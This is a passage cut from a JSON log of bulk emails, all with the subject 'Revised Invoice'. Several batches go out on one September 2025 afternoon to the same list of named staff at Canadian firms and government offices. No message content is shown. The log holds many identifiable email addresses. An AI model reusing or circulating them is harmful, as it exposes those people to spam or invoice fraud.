"sharyse.hunt@firsttruck.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:56:51", "to": "dwarner@bonnettsenergy.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:56:56", "to": "finance@dtr.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:57:01", "to": "roman@haddon.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:57:07", "to": "mthibodeau@dtr.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:57:12", "to": "accountspayable@bonnettsenergy.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:57:17", "to": "reception@gabuses.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:57:22", "to": "pmeyer@sertifi.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:57:27", "to": "mgrimm@lomak.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:57:33", "to": "dfa@gov.bc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:57:38", "to": "oliver@haddon.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:57:43", "to": "dispatch@swampdonkey.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:57:48", "to": "bwigard@plicards.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:57:53", "to": "shunt@jameswesternstar.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:58:04", "to": "diana.burzek@hrblock.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:58:09", "to": "ingejean.hansen@gov.bc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:58:14", "to": "communications@bcha.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:58:25", "to": "gallery@trmf.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:58:30", "to": "wams@gov.bc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:58:35", "to": "tanner@rapidrefrigeration.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:58:40", "to": "gary.smolik@integratedsustainability.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:58:46", "to": "dkallevik@dtr.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:58:51", "to": "bwatson@jameswesternstar.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:17:50", "to": "fsj.orderdesk@northernmetalic.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:17:56", "to": "dloro@doigriverfn.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:18:01", "to": "mclean.welsh@abcrecycling.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:18:06", "to": "sreid@solaradata.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:18:11", "to": "tsabiston@enerflex.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:18:18", "to": "trevor@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:18:23", "to": "abhiram.kurupati@nrm.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:18:28", "to": "jim@bcer.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:18:34", "to": "trevor.lock@canfor.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:18:39", "to": "shane.pattison@taraenergyservices.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:18:44", "to": "warnold@equinox-eng.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:18:49", "to": "patrick@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:18:54", "to": "kalvin.macdonnell@cdncontrols.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:18:59", "to": "lcoburn@fsjairport.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:19:05", "to": "lcoburn@yxj.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:19:10", "to": "stacy_smith@fsjairport.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:19:15", "to": "cole.hobbs@carpitech.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:19:20", "to": "mike@cicomm.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:19:26", "to": "dlarson@mistahiyacorp.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:19:31", "to": "frank.mimbs@energytechinc.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:19:36", "to": "hbrown@radio1inc.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:19:41", "to": "shane.gervais@canlinenergy.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:19:47", "to": "ssmith@yxj.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:19:52", "to": "todd.mccormack@canoco.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:19:57", "to": "brian.kopp@nrm.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:20:02", "to": "cameron@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:20:07", "to": "brendan@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:20:12", "to": "czaplotinsky@streamlineinspection.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:20:18", "to": "ahmad.yahya@carpitech.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:20:23", "to": "mike.johnston@atco.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:20:28", "to": "tracy.radcliffe@cadets.gc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:20:33", "to": "sjanes@enersul.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:20:39", "to": "carson.mackay@cdncontrols.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:20:44", "to": "jtokar@precisiondrilling.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:20:49", "to": "ap@visatrucks.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:20:54", "to": "cjelliott@flintenergy.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:20:59", "to": "amin.vakhshoor@solaris-mci.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:21:04", "to": "mathew.staverman@cdncontrols.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:21:10", "to": "cnicholls@techmationelectric.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:21:15", "to": "twhitton@doigriverfn.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:21:20", "to": "elmer@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:21:25", "to": "ldunbar@hdnorthern.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:21:31", "to": "eric.hunter@canforpulp.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:21:41", "to": "shession@telecomny.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:21:46", "to": "wes@mtindustrial.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:21:57", "to": "michel.grenon@telesignal.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:22:02", "to": "lysha.pitts@terralogix.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:22:07", "to": "baird.jayme@mccawsdrilling.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:22:13", "to": "sholliday@techmationelectric.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:22:18", "to": "cnoble@elspect.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:22:28", "to": "colson@techmationelectric.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:22:33", "to": "insidesales@aaasafety.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:22:38", "to": "neil.russell@aaasafety.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:22:44", "to": "steveq@alpha-wireless.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:24:38", "to": "fsj.orderdesk@northernmetalic.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:24:43", "to": "dloro@doigriverfn.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:24:48", "to": "mclean.welsh@abcrecycling.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:24:53", "to": "sreid@solaradata.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:24:58", "to": "tsabiston@enerflex.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:25:03", "to": "trevor@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:25:09", "to": "abhiram.kurupati@nrm.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:25:14", "to": "jim@bcer.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:25:19", "to": "trevor.lock@canfor.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:25:24", "to": "shane.pattison@taraenergyservices.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:25:29", "to": "warnold@equinox-eng.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:25:34", "to": "patrick@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:25:39", "to": "kalvin.macdonnell@cdncontrols.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:25:45", "to": "lcoburn@fsjairport.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:25:50", "to": "lcoburn@yxj.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:25:55", "to": "stacy_smith@fsjairport.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:26:00", "to": "cole.hobbs@carpitech.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:26:05", "to": "mike@cicomm.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:26:10", "to": "dlarson@mistahiyacorp.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:26:16", "to": "frank.mimbs@energytechinc.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:26:21", "to": "hbrown@radio1inc.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:26:26", "to": "shane.gervais@canlinenergy.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:26:31", "to": "ssmith@yxj.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:26:36", "to": "todd.mccormack@canoco.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:26:41", "to": "brian.kopp@nrm.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:26:47", "to": "cameron@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:26:52", "to": "brendan@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:26:57", "to": "czaplotinsky@streamlineinspection.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:27:02", "to": "ahmad.yahya@carpitech.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:27:08", "to": "mike.johnston@atco.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:27:13", "to": "tracy.radcliffe@cadets.gc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:27:18", "to": "sjanes@enersul.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:27:23", "to": "carson.mackay@cdncontrols.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:27:28", "to": "jtokar@precisiondrilling.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:27:34", "to": "ap@visatrucks.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:27:39", "to": "cjelliott@flintenergy.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:27:44", "to": "amin.vakhshoor@solaris-mci.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:27:49", "to": "mathew.staverman@cdncontrols.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:27:54", "to": "cnicholls@techmationelectric.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:27:59", "to": "twhitton@doigriverfn.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:28:04", "to": "elmer@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:28:27", "to": "ldunbar@hdnorthern.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:28:32", "to": "eric.hunter@canforpulp.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:28:37", "to": "shession@telecomny.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:28:42", "to": "wes@mtindustrial.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:28:48", "to": "michel.grenon@telesignal.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:28:53", "to": "lysha.pitts@terralogix.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:28:58", "to": "baird.jayme@mccawsdrilling.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:29:03", "to": "sholliday@techmationelectric.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:29:08", "to": "cnoble@elspect.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:29:19", "to": "colson@techmationelectric.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:29:24", "to": "insidesales@aaasafety.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:29:29", "to": "neil.russell@aaasafety.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:29:34", "to": "steveq@alpha-wireless.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:52:07", "to": "fsj.orderdesk@northernmetalic.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:52:13", "to": "dloro@doigriverfn.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:52:18", "to": "mclean.welsh@abcrecycling.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:52:23", "to": "sreid@solaradata.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:52:28", "to": "tsabiston@enerflex.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:52:33", "to": "trevor@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:52:38", "to": "abhiram.kurupati@nrm.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:52:44", "to": "jim@bcer.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:52:49", "to": "trevor.lock@canfor.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:52:54", "to": "shane.pattison@taraenergyservices.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:53:00", "to": "warnold@equinox-eng.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:53:05", "to": "patrick@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:53:10", "to": "kalvin.macdonnell@cdncontrols.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:53:15", "to": "lcoburn@fsjairport.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:53:20", "to": "lcoburn@yxj.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:53:25", "to": "stacy_smith@fsjairport.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:53:31", "to": "cole.hobbs@carpitech.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:53:36", "to": "mike@cicomm.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:53:41", "to": "dlarson@mistahiyacorp.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:53:46", "to": "frank.mimbs@energytechinc.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:53:51", "to": "hbrown@radio1inc.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:53:57", "to": "shane.gervais@canlinenergy.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:54:02", "to": "ssmith@yxj.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:54:07", "to": "todd.mccormack@canoco.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:54:12", "to": "brian.kopp@nrm.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:54:17", "to": "cameron@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:54:22", "to": "brendan@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:54:27", "to": "czaplotinsky@streamlineinspection.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:54:33", "to": "ahmad.yahya@carpitech.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:54:38", "to": "mike.johnston@atco.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:54:43", "to": "tracy.radcliffe@cadets.gc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:54:48", "to": "sjanes@enersul.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:54:54", "to": "carson.mackay@cdncontrols.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:54:59", "to": "jtokar@precisiondrilling.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:55:04", "to": "ap@visatrucks.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:55:09", "to": "cjelliott@flintenergy.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:55:14", "to": "amin.vakhshoor@solaris-mci.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:55:20", "to": "mathew.staverman@cdncontrols.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:55:25", "to": "cnicholls@techmationelectric.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:55:30", "to": "twhitton@doigriverfn.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:55:35", "to": "elmer@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:55:49", "to": "ldunbar@hdnorthern.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:55:55", "to": "eric.hunter@canforpulp.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:56:00", "to": "shession@telecomny.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:56:05", "to": "wes@mtindustrial.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:56:10", "to": "michel.grenon@telesignal.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:56:15", "to": "lysha.pitts@terralogix.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:56:20", "to": "baird.jayme@mccawsdrilling.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:56:26", "to": "sholliday@techmationelectric.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:56:31", "to": "cnoble@elspect.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:56:41", "to": "colson@techmationelectric.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:56:46", "to": "insidesales@aaasafety.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:56:51", "to": "neil.russell@aaasafety.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:56:56", "to": "steveq@alpha-wireless.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:57:02", "to": "lisa@impactcomms.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:59:30", "to": "fsj.orderdesk@northernmetalic.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:59:35", "to": "dloro@doigriverfn.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:59:40", "to": "mclean.welsh@abcrecycling.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:59:45", "to": "sreid@solaradata.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:59:51", "to": "tsabiston@enerflex.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 15:59:56", "to": "trevor@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:00:01", "to": "abhiram.kurupati@nrm.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:00:06", "to": "jim@bcer.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:00:11", "to": "trevor.lock@canfor.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:00:17", "to": "shane.pattison@taraenergyservices.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:00:22", "to": "warnold@equinox-eng.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:00:27", "to": "patrick@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:00:32", "to": "kalvin.macdonnell@cdncontrols.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:00:37", "to": "lcoburn@fsjairport.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:00:42", "to": "lcoburn@yxj.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:00:47", "to": "stacy_smith@fsjairport.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:00:52", "to": "cole.hobbs@carpitech.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:00:58", "to": "mike@cicomm.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:01:03", "to": "dlarson@mistahiyacorp.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:01:08", "to": "frank.mimbs@energytechinc.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:01:13", "to": "hbrown@radio1inc.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:01:18", "to": "shane.gervais@canlinenergy.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:01:23", "to": "ssmith@yxj.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:01:32", "to": "todd.mccormack@canoco.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:01:38", "to": "brian.kopp@nrm.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:01:44", "to": "cameron@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:01:49", "to": "brendan@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:01:54", "to": "czaplotinsky@streamlineinspection.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:01:59", "to": "ahmad.yahya@carpitech.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:02:05", "to": "mike.johnston@atco.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:02:10", "to": "tracy.radcliffe@cadets.gc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:02:15", "to": "sjanes@enersul.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:02:20", "to": "carson.mackay@cdncontrols.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:02:25", "to": "jtokar@precisiondrilling.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:02:30", "to": "ap@visatrucks.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:02:36", "to": "cjelliott@flintenergy.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:02:41", "to": "amin.vakhshoor@solaris-mci.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:02:46", "to": "mathew.staverman@cdncontrols.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:02:51", "to": "cnicholls@techmationelectric.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:02:56", "to": "twhitton@doigriverfn.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:03:01", "to": "elmer@petron.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:03:07", "to": "ldunbar@hdnorthern.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:03:12", "to": "eric.hunter@canforpulp.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:03:17", "to": "shession@telecomny.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:03:22", "to": "wes@mtindustrial.ca", "subject": "Revised 